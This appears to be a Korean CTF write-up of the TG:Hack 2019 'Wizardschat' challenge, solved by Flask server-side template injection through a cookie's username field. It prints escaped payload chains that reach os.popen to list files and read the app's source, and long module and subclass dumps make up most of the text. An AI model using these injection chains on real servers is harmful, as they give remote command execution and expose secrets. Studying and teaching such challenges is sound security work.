'/usr/local/lib/python2.7/site-packages/flask/json/tag.pyc'>, 'token': <module 'token' from '/usr/local/lib/python2.7/token.pyc'>, 'email.encoders': <module 'email.encoders' from '/usr/local/lib/python2.7/email/encoders.pyc'>, 'werkzeug.difflib': None, 'cStringIO': <module 'cStringIO' from '/usr/local/lib/python2.7/lib-dynload/cStringIO.so'>, 'werkzeug.re': None, 'flask.ast': None, 'ctypes.errno': None, 'encodings': <module 'encodings' from '/usr/local/lib/python2.7/encodings/__init__.pyc'>, 'flask.sys': None, 'flask.json.flask': None, 'rfc822': <module 'rfc822' from '/usr/local/lib/python2.7/rfc822.pyc'>, 'click.utils': <module 'click.utils' from '/usr/local/lib/python2.7/site-packages/click/utils.pyc'>, 're': <module 're' from '/usr/local/lib/python2.7/re.pyc'>, 'click.stat': None, 'email.quopri': None, 'math': <module 'math' from '/usr/local/lib/python2.7/lib-dynload/math.so'>, 'jinja2.compiler': <module 'jinja2.compiler' from '/usr/local/lib/python2.7/site-packages/jinja2/compiler.pyc'>, 'werkzeug.copy': None, 'ast': <module 'ast' from '/usr/local/lib/python2.7/ast.pyc'>, 'itsdangerous.json': None, 'ctypes.struct': None, 'werkzeug.collections': None, 'werkzeug.io': None, 'jinja2.copy': None, 'markupsafe.string': None, '_locale': <module '_locale' from '/usr/local/lib/python2.7/lib-dynload/_locale.so'>, 'logging': <module 'logging' from '/usr/local/lib/python2.7/logging/__init__.pyc'>, 'flask.traceback': None, 'traceback': <module 'traceback' from '/usr/local/lib/python2.7/traceback.pyc'>, 'werkzeug.test': <module 'werkzeug.test' from '/usr/local/lib/python2.7/site-packages/werkzeug/test.pyc'>, 'werkzeug.filesystem': <module 'werkzeug.filesystem' from '/usr/local/lib/python2.7/site-packages/werkzeug/filesystem.pyc'>, '_collections': <module '_collections' from '/usr/local/lib/python2.7/lib-dynload/_collections.so'>, 'werkzeug.mimetypes': None, 'werkzeug.cookielib': None, 'flask.jinja2': None, 'click.decorators': <module 'click.decorators' from '/usr/local/lib/python2.7/site-packages/click/decorators.pyc'>, 'array': <module 'array' from '/usr/local/lib/python2.7/lib-dynload/array.so'>, 'email.Errors': <email.LazyImporter object at 0x7f59d8f12c90>, 'ctypes.sys': None, '_LWPCookieJar': <module '_LWPCookieJar' from '/usr/local/lib/python2.7/_LWPCookieJar.pyc'>, 'posixpath': <module 'posixpath' from '/usr/local/lib/python2.7/posixpath.pyc'>, 'click.collections': None, 'itsdangerous.timed': <module 'itsdangerous.timed' from '/usr/local/lib/python2.7/site-packages/itsdangerous/timed.pyc'>, 'types': <module 'types' from '/usr/local/lib/python2.7/types.pyc'>, 'flask.hashlib': None, 'json._json': None, 'flask.ctx': <module 'flask.ctx' from '/usr/local/lib/python2.7/site-packages/flask/ctx.pyc'>, 'flask.pkgutil': None, '_codecs': <module '_codecs' (built-in)>, 'json.sys': None, 'copy': <module 'copy' from '/usr/local/lib/python2.7/copy.pyc'>, 'click.struct': None, 'hashlib': <module 'hashlib' from '/usr/local/lib/python2.7/hashlib.pyc'>, 'click.formatting': <module 'click.formatting' from '/usr/local/lib/python2.7/site-packages/click/formatting.pyc'>, 'itsdangerous.string': None, 'keyword': <module 'keyword' from '/usr/local/lib/python2.7/keyword.pyc'>, 'click.datetime': None, 'posix': <module 'posix' (built-in)>, 'jinja2.math': None, 'werkzeug.contrib.os': None, 'sre_compile': <module 'sre_compile' from '/usr/local/lib/python2.7/sre_compile.pyc'>, '_hashlib': <module '_hashlib' from '/usr/local/lib/python2.7/lib-dynload/_hashlib.so'>, 'flask_session.datetime': None, 'werkzeug.contrib.cPickle': None, 'logging.collections': None, 'email.base64': None, '__main__': <module '__main__' (built-in)>, 'jinja2.functools': None, 'click.contextlib': None, 'flask.datetime': None, 'encodings.codecs': None, 'email.MIMEMultipart': <email.LazyImporter object at 0x7f59d8f22050>, 'flask.functools': None, 'werkzeug.htmlentitydefs': None, 'jinja2.hashlib': None, 'warnings': <module 'warnings' from '/usr/local/lib/python2.7/warnings.pyc'>, 'encodings.ascii': <module 'encodings.ascii' from '/usr/local/lib/python2.7/encodings/ascii.pyc'>, 'click.threading': None, 'werkzeug.email': None, 'werkzeug.weakref': None, 'werkzeug.urllib2': None, 'flask.json.base64': None, 'jinja2.operator': None, '_io': <module '_io' from '/usr/local/lib/python2.7/lib-dynload/_io.so'>, 'linecache': <module 'linecache' from '/usr/local/lib/python2.7/linecache.pyc'>, 'click.itertools': None, 'flask.blueprints': <module 'flask.blueprints' from '/usr/local/lib/python2.7/site-packages/flask/blueprints.pyc'>, 'flask.helpers': <module 'flask.helpers' from '/usr/local/lib/python2.7/site-packages/flask/helpers.pyc'>, 'hmac': <module 'hmac' from '/usr/local/lib/python2.7/hmac.pyc'>, 'itsdangerous.struct': None, 'random': <module 'random' from '/usr/local/lib/python2.7/random.pyc'>, 'heapq': <module 'heapq' from '/usr/local/lib/python2.7/heapq.pyc'>, 'flask.templating': <module 'flask.templating' from '/usr/local/lib/python2.7/site-packages/flask/templating.pyc'>, 'datetime': <module 'datetime' from '/usr/local/lib/python2.7/lib-dynload/datetime.so'>, 'logging.os': None, 'ctypes._endian': <module 'ctypes._endian' from '/usr/local/lib/python2.7/ctypes/_endian.pyc'>, 'encodings.encodings': None, 'jinja2.marshal': None, 'jinja2.loaders': <module 'jinja2.loaders' from '/usr/local/lib/python2.7/site-packages/jinja2/loaders.pyc'>, 'email.time': None, '_json': <module '_json' from '/usr/local/lib/python2.7/lib-dynload/_json.so'>, 'itsdangerous.url_safe': <module 'itsdangerous.url_safe' from '/usr/local/lib/python2.7/site-packages/itsdangerous/url_safe.pyc'>, 'itsdangerous.hashlib': None, 'itsdangerous': <module 'itsdangerous' from '/usr/local/lib/python2.7/site-packages/itsdangerous/__init__.pyc'>, 'fort': <module 'fort' from './fort.pyc'>, 'werkzeug.utils': <module 'werkzeug.utils' from '/usr/local/lib/python2.7/site-packages/werkzeug/utils.pyc'>, 'werkzeug.uuid': None, 'click.termui': <module 'click.termui' from '/usr/local/lib/python2.7/site-packages/click/termui.pyc'>, 'click.io': None, 'flask_session.werkzeug': None, 'ssl': <module 'ssl' from '/usr/local/lib/python2.7/ssl.pyc'>, 'werkzeug.zlib': None, 'jinja2.ctypes': None, 'cookielib': <module 'cookielib' from '/usr/local/lib/python2.7/cookielib.pyc'>, 'jinja2.cStringIO': None, 'flask.operator': None, 'bisect': <module 'bisect' from '/usr/local/lib/python2.7/bisect.pyc'>, 'threading': <module 'threading' from '/usr/local/lib/python2.7/threading.pyc'>, 'flask.json.itsdangerous': None, 'email.Message': <email.LazyImporter object at 0x7f59d8f12dd0>, 'fcntl': <module 'fcntl' from '/usr/local/lib/python2.7/lib-dynload/fcntl.so'>, 'werkzeug.sys': None, 'flask_session.sessions': <module 'flask_session.sessions' from '/usr/local/lib/python2.7/site-packages/flask_session/sessions.pyc'>, 'locale': <module 'locale' from '/usr/local/lib/python2.7/locale.pyc'>, 'flask.cli': <module 'flask.cli' from '/usr/local/lib/python2.7/site-packages/flask/cli.pyc'>, 'jinja2.os': None, 'atexit': <module 'atexit' from '/usr/local/lib/python2.7/atexit.pyc'>, 'email.quopriMIME': <email.LazyImporter object at 0x7f59d8f12ed0>, 'werkzeug.cStringIO': None, 'flask_session.sys': None, 'calendar': <module 'calendar' from '/usr/local/lib/python2.7/calendar.pyc'>, 'jinja2.urllib': None, 'werkzeug._internal': <module 'werkzeug._internal' from '/usr/local/lib/python2.7/site-packages/werkzeug/_internal.pyc'>, 'flask.posixpath': None, 'urllib': <module 'urllib' from '/usr/local/lib/python2.7/urllib.pyc'>, 'flask.re': None, 'werkzeug.contrib.werkzeug': None, '_MozillaCookieJar': <module '_MozillaCookieJar' from '/usr/local/lib/python2.7/_MozillaCookieJar.pyc'>, 'ctypes.subprocess': None, 'email': <module 'email' from '/usr/local/lib/python2.7/email/__init__.pyc'>, 'werkzeug.socket': None, 'werkzeug.time': None, 'ctypes': <module 'ctypes' from '/usr/local/lib/python2.7/ctypes/__init__.pyc'>, 'werkzeug.pprint': None, 'click.core': <module 'click.core' from '/usr/local/lib/python2.7/site-packages/click/core.pyc'>, 'json.re': None, 'flask.socket': None, 'itertools': <module 'itertools' from '/usr/local/lib/python2.7/lib-dynload/itertools.so'>, 'opcode': <module 'opcode' from '/usr/local/lib/python2.7/opcode.pyc'>, 'email.calendar': None, 'platform': <module 'platform' from '/usr/local/lib/python2.7/platform.pyc'>, 'werkzeug.wsgi': <module 'werkzeug.wsgi' from '/usr/local/lib/python2.7/site-packages/werkzeug/wsgi.pyc'>, 'jinja2.random': None, 'encodings.unicode_escape': <module 'encodings.unicode_escape' from '/usr/local/lib/python2.7/encodings/unicode_escape.pyc'>, 'pkgutil': <module 'pkgutil' from '/usr/local/lib/python2.7/pkgutil.pyc'>, 'email.base64MIME': <email.LazyImporter object at 0x7f59d8f12e90>, 'flask.json.werkzeug': None, 'sre_constants': <module 'sre_constants' from '/usr/local/lib/python2.7/sre_constants.pyc'>, 'json': <module 'json' from '/usr/local/lib/python2.7/json/__init__.pyc'>, 'itsdangerous.itertools': None, 'flask.app': <module 'flask.app' from '/usr/local/lib/python2.7/site-packages/flask/app.pyc'>, 'email.utils': <module 'email.utils' from '/usr/local/lib/python2.7/email/utils.pyc'>, 'werkzeug.string': None, 'logging.atexit': None, 'jinja2.bccache': <module 'jinja2.bccache' from '/usr/local/lib/python2.7/site-packages/jinja2/bccache.pyc'>, 'werkzeug.contrib.time': None, 'email.socket': None, 'email.email': None, 'flask.click': None, 'zlib': <module 'zlib' from '/usr/local/lib/python2.7/lib-dynload/zlib.so'>, 'itsdangerous.zlib': None, 'email.random': None, 'json.decoder': <module 'json.decoder' from '/usr/local/lib/python2.7/json/decoder.pyc'>, 'werkzeug.StringIO': None, 'copy_reg': <module 'copy_reg' from '/usr/local/lib/python2.7/copy_reg.pyc'>, 'itsdangerous.datetime': None, 'site': <module 'site' from '/usr/local/lib/python2.7/site.pyc'>, 'flask.json.datetime': None, 'io': <module 'io' from '/usr/local/lib/python2.7/io.pyc'>, 'flask.itertools': None, 'werkzeug.werkzeug': None, 'markupsafe._speedups': <module 'markupsafe._speedups' from '/usr/local/lib/python2.7/site-packages/markupsafe/_speedups.so'>, 'flask.sessions': <module 'flask.sessions' from '/usr/local/lib/python2.7/site-packages/flask/sessions.pyc'>, 'werkzeug.functools': None, 'flask.os': None, 'json.json': None, 'email.re': None, 'sys': <module 'sys' (built-in)>, 'werkzeug.codecs': None, 'click.types': <module 'click.types' from '/usr/local/lib/python2.7/site-packages/click/types.pyc'>, 'itsdangerous.hmac': None, 'werkzeug.contrib': <module 'werkzeug.contrib' from '/usr/local/lib/python2.7/site-packages/werkzeug/contrib/__init__.pyc'>, 'jinja2.visitor': <module 'jinja2.visitor' from '/usr/local/lib/python2.7/site-packages/jinja2/visitor.pyc'>, 'flask.json': <module 'flask.json' from '/usr/local/lib/python2.7/site-packages/flask/json/__init__.pyc'>, '_weakref': <module '_weakref' (built-in)>, 'difflib': <module 'difflib' from '/usr/local/lib/python2.7/difflib.pyc'>, 'urlparse': <module 'urlparse' from '/usr/local/lib/python2.7/urlparse.pyc'>, 'werkzeug.local': <module 'werkzeug.local' from '/usr/local/lib/python2.7/site-packages/werkzeug/local.pyc'>, 'jinja2.optimizer': <module 'jinja2.optimizer' from '/usr/local/lib/python2.7/site-packages/jinja2/optimizer.pyc'>, 'werkzeug.warnings': None, 'markupsafe.sys': None, 'flask.wrappers': <module 'flask.wrappers' from '/usr/local/lib/python2.7/site-packages/flask/wrappers.pyc'>, 'werkzeug.inspect': None, 'select': <module 'select' from '/usr/local/lib/python2.7/lib-dynload/select.so'>, 'email.mime': <module 'email.mime' from '/usr/local/lib/python2.7/email/mime/__init__.pyc'>, 'struct': <module 'struct' from '/usr/local/lib/python2.7/struct.pyc'>, '_abcoll': <module '_abcoll' from '/usr/local/lib/python2.7/_abcoll.pyc'>, 'collections': <module 'collections' from '/usr/local/lib/python2.7/collections.pyc'>, 'flask_session.itsdangerous': None, 'email.Parser': <email.LazyImporter object at 0x7f59d8f12e10>, 'werkzeug.os': None, 'zipimport': <module 'zipimport' (built-in)>, 'jinja2.nodes': <module 'jinja2.nodes' from '/usr/local/lib/python2.7/site-packages/jinja2/nodes.pyc'>, 'textwrap': <module 'textwrap' from '/usr/local/lib/python2.7/textwrap.pyc'>, 'werkzeug.contrib.hashlib': None, 'jinja2.types': None, 'flask.signals': <module 'flask.signals' from '/usr/local/lib/python2.7/site-packages/flask/signals.pyc'>, 'signal': <module 'signal' (built-in)>, 'jinja2.keyword': None, 'quopri': <module 'quopri' from '/usr/local/lib/python2.7/quopri.pyc'>, 'jinja2._compat': <module 'jinja2._compat' from '/usr/local/lib/python2.7/site-packages/jinja2/_compat.pyc'>, 'stat': <module 'stat' from '/usr/local/lib/python2.7/stat.pyc'>, '_ssl': <module '_ssl' from '/usr/local/lib/python2.7/lib-dynload/_ssl.so'>, 'click.weakref': None, 'email.Generator': <email.LazyImporter object at 0x7f59d8f12d10>, 'logging.traceback': None, 'email.MIMEAudio': <email.LazyImporter object at 0x7f59d8f12f10>, 'flask.errno': None, 'jinja2.stat': None, 'werkzeug': <module 'werkzeug' from '/usr/local/lib/python2.7/site-packages/werkzeug/__init__.pyc'>, 'werkzeug.posixpath': None, 'flask.warnings': None, 'jinja2.ext': <module 'jinja2.ext' from '/usr/local/lib/python2.7/site-packages/jinja2/ext.pyc'>, 'UserDict': <module 'UserDict' from '/usr/local/lib/python2.7/UserDict.pyc'>, 'inspect': <module 'inspect' from '/usr/local/lib/python2.7/inspect.pyc'>, 'jinja2.filters': <module 'jinja2.filters' from '/usr/local/lib/python2.7/site-packages/jinja2/filters.pyc'>, 'jinja2.fnmatch': None, 'werkzeug.exceptions': <module 'werkzeug.exceptions' from '/usr/local/lib/python2.7/site-packages/werkzeug/exceptions.pyc'>, 'werkzeug.tempfile': None, '_functools': <module '_functools' from '/usr/local/lib/python2.7/lib-dynload/_functools.so'>, 'email.Iterators': <email.LazyImporter object at 0x7f59d8f12d90>, 'socket': <module 'socket' from '/usr/local/lib/python2.7/socket.pyc'>, 'itsdangerous.jws': <module 'itsdangerous.jws' from '/usr/local/lib/python2.7/site-packages/itsdangerous/jws.pyc'>, 'email.Charset': <email.LazyImporter object at 0x7f59d8f12c10>, 'jinja2.warnings': None, 'werkzeug.urls': <module 'werkzeug.urls' from '/usr/local/lib/python2.7/site-packages/werkzeug/urls.pyc'>, 'os': <module 'os' from '/usr/local/lib/python2.7/os.pyc'>, 'marshal': <module 'marshal' (built-in)>, 'werkzeug.contrib.errno': None, '__future__': <module '__future__' from '/usr/local/lib/python2.7/__future__.pyc'>, 'flask.cStringIO': None, 'binascii': <module 'binascii' from '/usr/local/lib/python2.7/lib-dynload/binascii.so'>, 'werkzeug.datetime': None, '__builtin__': <module '__builtin__' (built-in)>, 'jinja2.itertools': None, 'operator': <module 'operator' from '/usr/local/lib/python2.7/lib-dynload/operator.so'>, 'werkzeug.httplib': None, 'jinja2.runtime': <module 'jinja2.runtime' from '/usr/local/lib/python2.7/site-packages/jinja2/runtime.pyc'>, 'itsdangerous.serializer': <module 'itsdangerous.serializer' from '/usr/local/lib/python2.7/site-packages/itsdangerous/serializer.pyc'>, 'json.struct': None, 'itsdangerous.encoding': <module 'itsdangerous.encoding' from '/usr/local/lib/python2.7/site-packages/itsdangerous/encoding.pyc'>, 'errno': <module 'errno' (built-in)>, '_socket': <module '_socket' from '/usr/local/lib/python2.7/lib-dynload/_socket.so'>, 'email.Utils': <email.LazyImporter object at 0x7f59d8f12e50>, 'encodings.latin_1': <module 'encodings.latin_1' from '/usr/local/lib/python2.7/encodings/latin_1.pyc'>, 'werkzeug.contrib.platform': None, '_warnings': <module '_warnings' (built-in)>, 'encodings.__builtin__': None, 'jinja2.idtracking': <module 'jinja2.idtracking' from '/usr/local/lib/python2.7/site-packages/jinja2/idtracking.pyc'>, 'email.os': None, 'flask.config': <module 'flask.config' from '/usr/local/lib/python2.7/site-packages/flask/config.pyc'>, 'itsdangerous._compat': <module 'itsdangerous._compat' from '/usr/local/lib/python2.7/site-packages/itsdangerous/_compat.pyc'>, '_sysconfigdata': <module '_sysconfigdata' from '/usr/local/lib/python2.7/_sysconfigdata.pyc'>, '_struct': <module '_struct' from '/usr/local/lib/python2.7/lib-dynload/_struct.so'>, 'click.functools': None, 'logging.time': None, 'jinja2.environment': <module 'jinja2.environment' from '/usr/local/lib/python2.7/site-packages/jinja2/environment.pyc'>, 'logging.warnings': None, 'werkzeug.random': None, 'mimetools': <module 'mimetools' from '/usr/local/lib/python2.7/mimetools.pyc'>, 'jinja2.re': None, 'logging.codecs': None, '_random': <module '_random' from '/usr/local/lib/python2.7/lib-dynload/_random.so'>, 'markupsafe._compat': <module 'markupsafe._compat' from '/usr/local/lib/python2.7/site-packages/markupsafe/_compat.pyc'>, 'jinja2.decimal': None, 'flask.werkzeug': None, 'itsdangerous.base64': None, 'contextlib': <module 'contextlib' from '/usr/local/lib/python2.7/contextlib.pyc'>, 'werkzeug.contrib.tempfile': None, 'flask.itsdangerous': None, 'flask.__future__': None, 'click.re': None, 'email.warnings': None, 'flask.types': None, 'markupsafe.collections': None, 'genericpath': <module 'genericpath' from '/usr/local/lib/python2.7/genericpath.pyc'>, 'mimetypes': <module 'mimetypes' from '/usr/local/lib/python2.7/mimetypes.pyc'>, 'werkzeug.itertools': None, 'itsdangerous.time': None, 'urllib2': <module 'urllib2' from '/usr/local/lib/python2.7/urllib2.pyc'>, 'email.Encoders': <email.LazyImporter object at 0x7f59d8f12c50>, 'ctypes.ctypes': None, 'itsdangerous.decimal': None, 'werkzeug.__builtin__': None, 'click._compat': <module 'click._compat' from '/usr/local/lib/python2.7/site-packages/click/_compat.pyc'>, 'time': <module 'time' from '/usr/local/lib/python2.7/lib-dynload/time.so'>, 'flask.threading': None}


[]['\x5f\x5fclass\x5f\x5f']['\x5f\x5fbase\x5f\x5f']['\x5f\x5fsubclasses\x5f\x5f']()[59]['\x5f\x5finit\x5f\x5f']['\x5f\x5fglobals\x5f\x5f']['sys']['modules']['os'] 
<module 'os' from '/usr/local/lib/python2.7/os.pyc'>


[]['\x5f\x5fclass\x5f\x5f']['\x5f\x5fbase\x5f\x5f']['\x5f\x5fsubclasses\x5f\x5f']()[59]['\x5f\x5finit\x5f\x5f']['\x5f\x5fglobals\x5f\x5f']['sys']['modules']['os']['popen']('ls')['read']() 
e7f4cf27-0421-493d-88b1-70855f5fa28f e7f4cf27-0421-493d-88b1-70855f5fa28f?a=e7f4cf27-0421-493d-88b1-70855f5fa28f%0Aflask_session%0Afort.py%0Afort.pyc%0Amain.py%0Amain.pyc%0Aprestart.sh%0Astatic%0Atemplates%0Auwsgi.ini flask_session fort.py fort.pyc main.py main.pyc prestart.sh static templates uwsgi.ini


[]['\x5f\x5fclass\x5f\x5f']['\x5f\x5fbase\x5f\x5f']['\x5f\x5fsubclasses\x5f\x5f']()[59]['\x5f\x5finit\x5f\x5f']['\x5f\x5fglobals\x5f\x5f']['sys']['modules']['os']['popen']('cat fort\x2epy')['read']() 
from flask import Flask, session SECKEY = "some random key for signing 70657529378630738104827452603621" FLAG = "ASIS{Kn0cK_knoCk_Wh0_i5_7h3re?_4nee_Ane3,VVh0?_aNee0neYouL1k3!}" CORRECT_BEHAVIOUR = list(map(int, "34515465413625214253")) PERFECT_CREDIT = sum([ x for x in range(len(CORRECT_BEHAVIOUR)) ]) def history(): return session.get("history", []) def visit(door): session["history"] = history() + [door] if len(session["history"]) > len(CORRECT_BEHAVIOUR): session["history"] = session["history"][-len(CORRECT_BEHAVIOUR):] def credit(): credit = 0 hst = history() for i in range(len(hst)): for j in range(len(hst) - i): if hst[i + j] == CORRECT_BEHAVIOUR[j]: credit += j else: break return credit def trustworthy(): return credit() == PERFECT_CREDIT

TG:Hack 2019 - Wizardschat 풀이

POSIX — Sat, 20 Apr 2019 22:35:55 +0900

TG:Hack 2019 CTF web 5번

Flask SSTI 문제입니다.

접속하면 로그인 폼이 보이는데, 대강 입력해보면

NO MAGIC DETECTED 에러 메시지가 출력됩니다.

hidden 항목으로 지정된 has_magic 값을

1로 바꾸어주면 정상적으로 로그인 되는 것을 확인할 수 있습니다.

로그인을 하면 채팅창이 등장하는데 입력하는대로 저장되며

다른 사용자들과 담소를 나눌 수 있습니다.. ㅎㅎ

여러가지 입력을 넣어 보다가

배열을 입력으로 주니 KeyError 가 발생했는데

이를 보고 Flask 를 떠올렸습니다.

response 에는 일단 nginx 라고 표시되었지만

wsgi 인가 하는 녀석을 이용하면

복합적으로 운용할 수 있으니까요.

Flask SSTI 를 생각하고

채팅 시스템에 여러가지를 대입해 보았지만

아무것도 얻을 수 없었습니다.

그러던 중 cookie의 username값에

템플릿 인젝션이 되는 것을 확인할 수 있었습니다.

이러면 채팅 시스템은 굳이 만들 필요가 있었는가

하는 생각도 들지만, 삽질하는 것도 나름 재미있었습니다.

페이로드와 결과값을 끝으로 포스팅을 마칩니다.

[].__class__
<class 'list'>


[].__class__.__base__
<class 'object'>


[].__class__.__base__.__subclasses__()
[<class 'type'>, <class 'weakref'>, <class 'weakcallableproxy'>, <class 'weakproxy'>, <class 'int'>, <class 'bytearray'>, <class 'bytes'>, <class 'list'>, <class 'NoneType'>, <class 'NotImplementedType'>, <class 'traceback'>, <class 'super'>, <class 'range'>, <class 'dict'>, <class 'dict_keys'>, <class 'dict_values'>, <class 'dict_items'>, <class 'odict_iterator'>, <class 'set'>, <class 'str'>, <class 'slice'>, <class 'staticmethod'>, <class 'complex'>, <class 'float'>, <class 'frozenset'>, <class 'property'>, <class 'managedbuffer'>, <class 'memoryview'>, <class 'tuple'>, <class 'enumerate'>, <class 'reversed'>, <class 'stderrprinter'>, <class 'code'>, <class 'frame'>, <class 'builtin_function_or_method'>, <class 'method'>, <class 'function'>, <class 'mappingproxy'>, <class 'generator'>, <class 'getset_descriptor'>, <class 'wrapper_descriptor'>, <class 'method-wrapper'>, <class 'ellipsis'>, <class 'member_descriptor'>, <class 'types.SimpleNamespace'>, <class 'PyCapsule'>, <class 'longrange_iterator'>, <class 'cell'>, <class 'instancemethod'>, <class 'classmethod_descriptor'>, <class 'method_descriptor'>, <class 'callable_iterator'>, <class 'iterator'>, <class 'coroutine'>, <class 'coroutine_wrapper'>, <class 'EncodingMap'>, <class 'fieldnameiterator'>, <class 'formatteriterator'>, <class 'filter'>, <class 'map'>, <class 'zip'>, <class 'moduledef'>, <class 'module'>, <class 'BaseException'>, <class '_frozen_importlib._ModuleLock'>, <class '_frozen_importlib._DummyModuleLock'>, <class '_frozen_importlib._ModuleLockManager'>, <class '_frozen_importlib._installed_safely'>, <class '_frozen_importlib.ModuleSpec'>, <class '_frozen_importlib.BuiltinImporter'>, <class 'classmethod'>, <class '_frozen_importlib.FrozenImporter'>, <class '_frozen_importlib._ImportLockContext'>, <class '_thread._localdummy'>, <class '_thread._local'>, <class '_thread.lock'>, <class '_thread.RLock'>, <class '_frozen_importlib_external.WindowsRegistryFinder'>, <class '_frozen_importlib_external._LoaderBasics'>, <class '_frozen_importlib_external.FileLoader'>, <class '_frozen_importlib_external._NamespacePath'>, <class '_frozen_importlib_external._NamespaceLoader'>, <class '_frozen_importlib_external.PathFinder'>, <class '_frozen_importlib_external.FileFinder'>, <class '_io._IOBase'>, <class '_io._BytesIOBuffer'>, <class '_io.IncrementalNewlineDecoder'>, <class 'posix.ScandirIterator'>, <class 'posix.DirEntry'>, <class 'zipimport.zipimporter'>, <class 'codecs.Codec'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>, <class 'codecs.StreamReaderWriter'>, <class 'codecs.StreamRecoder'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class 'abc.ABC'>, <class 'collections.abc.Hashable'>, <class 'collections.abc.Awaitable'>, <class 'collections.abc.AsyncIterable'>, <class 'async_generator'>, <class 'collections.abc.Iterable'>, <class 'bytes_iterator'>, <class 'bytearray_iterator'>, <class 'dict_keyiterator'>, <class 'dict_valueiterator'>, <class 'dict_itemiterator'>, <class 'list_iterator'>, <class 'list_reverseiterator'>, <class 'range_iterator'>, <class 'set_iterator'>, <class 'str_iterator'>, <class 'tuple_iterator'>, <class 'collections.abc.Sized'>, <class 'collections.abc.Container'>, <class 'collections.abc.Callable'>, <class 'os._wrap_close'>, <class '_sitebuiltins.Quitter'>, <class '_sitebuiltins._Printer'>, <class '_sitebuiltins._Helper'>, <class 'types.DynamicClassAttribute'>, <class 'functools.partial'>, <class 'functools._lru_cache_wrapper'>, <class 'operator.itemgetter'>, <class 'operator.attrgetter'>, <class 'operator.methodcaller'>, <class 'itertools.accumulate'>, <class 'itertools.combinations'>, <class 'itertools.combinations_with_replacement'>, <class 'itertools.cycle'>, <class 'itertools.dropwhile'>, <class 'itertools.takewhile'>, <class 'itertools.islice'>, <class 'itertools.starmap'>, <class 'itertools.chain'>, <class 'itertools.compress'>, <class 'itertools.filterfalse'>, <class 'itertools.count'>, <class 'itertools.zip_longest'>, <class 'itertools.permutations'>, <class 'itertools.product'>, <class 'itertools.repeat'>, <class 'itertools.groupby'>, <class 'itertools._grouper'>, <class 'itertools._tee'>, <class 'itertools._tee_dataobject'>, <class 'reprlib.Repr'>, <class 'collections.deque'>, <class '_collections._deque_iterator'>, <class '_collections._deque_reverse_iterator'>, <class 'collections._Link'>, <class 'weakref.finalize._Info'>, <class 'weakref.finalize'>, <class 'functools.partialmethod'>, <class 'types._GeneratorWrapper'>, <class 'enum.auto'>, <enum 'Enum'>, <class '_sre.SRE_Pattern'>, <class '_sre.SRE_Match'>, <class '_sre.SRE_Scanner'>, <class 'sre_parse.Pattern'>, <class 'sre_parse.SubPattern'>, <class 'sre_parse.Tokenizer'>, <class 're.Scanner'>, <class 'select.poll'>, <class 'select.epoll'>, <class 'selectors.BaseSelector'>, <class '_socket.socket'>, <class 'tokenize.Untokenizer'>, <class 'traceback.FrameSummary'>, <class 'traceback.TracebackException'>, <class 'threading._RLock'>, <class 'threading.Condition'>, <class 'threading.Semaphore'>, <class 'threading.Event'>, <class 'threading.Barrier'>, <class 'threading.Thread'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class 'subprocess.CompletedProcess'>, <class 'subprocess.Popen'>, <class 'urllib.parse._ResultMixinStr'>, <class 'urllib.parse._ResultMixinBytes'>, <class 'urllib.parse._NetlocResultMixinBase'>, <class 'queue.Queue'>, <class 'string.Template'>, <class 'string.Formatter'>, <class 'Struct'>, <class 'email.charset.Charset'>, <class 'email.header.Header'>, <class 'email.header._ValueFormatter'>, <class '_hashlib.HASH'>, <class '_blake2.blake2b'>, <class '_blake2.blake2s'>, <class '_sha3.sha3_224'>, <class '_sha3.sha3_256'>, <class '_sha3.sha3_384'>, <class '_sha3.sha3_512'>, <class '_sha3.shake_128'>, <class '_sha3.shake_256'>, <class '_random.Random'>, <class 'datetime.date'>, <class 'datetime.timedelta'>, <class 'datetime.time'>, <class 'datetime.tzinfo'>, <class 'calendar._localized_month'>, <class 'calendar._localized_day'>, <class 'calendar.Calendar'>, <class 'calendar.different_locale'>, <class 'email._parseaddr.AddrlistClass'>, <class 'email._policybase._PolicyBase'>, <class 'email.feedparser.BufferedSubFile'>, <class 'email.feedparser.FeedParser'>, <class 'email.parser.Parser'>, <class 'email.parser.BytesParser'>, <class 'email.message.Message'>, <class 'http.client.HTTPConnection'>, <class 'ipaddress._IPAddressBase'>, <class 'ipaddress._BaseV4'>, <class 'ipaddress._IPv4Constants'>, <class 'ipaddress._BaseV6'>, <class 'ipaddress._IPv6Constants'>, <class 'textwrap.TextWrapper'>, <class '_ssl._SSLContext'>, <class '_ssl._SSLSocket'>, <class '_ssl.MemoryBIO'>, <class '_ssl.Session'>, <class 'ssl.SSLObject'>, <class 'logging.LogRecord'>, <class 'logging.PercentStyle'>, <class 'logging.Formatter'>, <class 'logging.BufferingFormatter'>, <class 'logging.Filter'>, <class 'logging.Filterer'>, <class 'logging.PlaceHolder'>, <class 'logging.Manager'>, <class 'logging.LoggerAdapter'>, <class 'waitress.utilities.Error'>, <class 'waitress.wasyncore.dispatcher'>, <class 'waitress.wasyncore.file_wrapper'>, <class 'waitress.trigger._triggerbase'>, <class 'gettext.NullTranslations'>, <class 'waitress.adjustments._bool_marker'>, <class 'waitress.adjustments.Adjustments'>, <class 'waitress.buffers.FileBasedBuffer'>, <class 'waitress.buffers.OverflowableBuffer'>, <class 'waitress.receiver.FixedStreamReceiver'>, <class 'waitress.receiver.ChunkedReceiver'>, <class 'waitress.parser.HTTPRequestParser'>, <class 'waitress.task.ThreadedTaskDispatcher'>, <class 'waitress.task.Task'>, <class 'waitress.channel.HTTPChannel'>, <class 'waitress.server.MultiSocketServer'>, <class 'waitress.server.BaseWSGIServer'>, <class '__future__._Feature'>, <class '_ast.AST'>, <class 'sqlite3.Row'>, <class 'sqlite3.Cursor'>, <class 'sqlite3.Connection'>, <class 'sqlite3Node'>, <class 'sqlite3.Cache'>, <class 'sqlite3.Statement'>, <class 'sqlite3.PrepareProtocol'>, <class 'ast.NodeVisitor'>, <class 'dis.Bytecode'>, <class 'inspect.BlockFinder'>, <class 'inspect._void'>, <class 'inspect._empty'>, <class 'inspect.Parameter'>, <class 'inspect.BoundArguments'>, <class 'inspect.Signature'>, <class 'werkzeug._internal._Missing'>, <class 'werkzeug._internal._DictAccessorProperty'>, <class 'mimetypes.MimeTypes'>, <class 'werkzeug.datastructures.ImmutableListMixin'>, <class 'werkzeug.datastructures.ImmutableDictMixin'>, <class 'werkzeug.datastructures.UpdateDictMixin'>, <class 'werkzeug.datastructures.ViewItems'>, <class 